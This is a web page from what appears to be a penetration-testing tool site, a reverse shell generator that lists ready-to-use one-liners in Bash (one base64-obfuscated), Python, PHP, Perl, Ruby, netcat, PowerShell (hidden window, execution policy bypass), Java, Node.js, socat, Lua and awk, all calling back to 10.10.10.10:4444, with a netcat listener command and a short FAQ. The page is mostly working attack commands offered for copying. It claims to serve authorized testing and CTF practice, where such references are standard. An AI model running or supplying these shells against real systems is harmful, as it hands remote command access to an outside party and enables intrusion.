Skip to content
PwnDeck logoPwnDeck

Reverse Shell Generator

Generate reverse shell one-liners for 15+ languages including Bash, Python, PHP, Perl, Ruby, Netcat, PowerShell, Java, and Node.js.

Bash -i
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
Bash (Base64)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE= | base64 -d | bash
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
PHP
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat (traditional)
nc -e /bin/sh 10.10.10.10 4444
Netcat (OpenBSD)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Node.js
require('child_process').exec('bash -i >& /dev/tcp/10.10.10.10/4444 0>&1')
Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Listener command: nc -lvnp 4444

Advertisement

How to Use the Reverse Shell Generator

  1. Enter your listener IP address (e.g., 10.10.10.10).
  2. Enter the port number your listener will use (e.g., 4444).
  3. Browse the generated reverse shell commands for each language.
  4. Click the copy button to copy any command to your clipboard.
  5. Set up your listener using the command shown at the bottom (nc -lvnp PORT).

About Reverse Shell Generator

A reverse shell is a connection initiated from the target machine back to the attacker's listener, providing interactive command-line access. Unlike bind shells, reverse shells can bypass firewalls that block incoming connections. This tool generates ready-to-use reverse shell commands in 15+ programming languages. Each command establishes a TCP connection back to your specified IP and port, then redirects shell I/O through that connection. This tool is designed for authorized penetration testing and CTF competitions only.

Advertisement

Frequently Asked Questions

A reverse shell connects back from the target to the attacker, while a bind shell opens a port on the target and waits for the attacker to connect. Reverse shells are preferred because they bypass firewalls that block incoming connections on the target.

The most common listener is Netcat: 'nc -lvnp PORT' where PORT matches the port you configured in the generator. For more features, tools like pwncat, socat, or Metasploit's multi/handler provide additional functionality.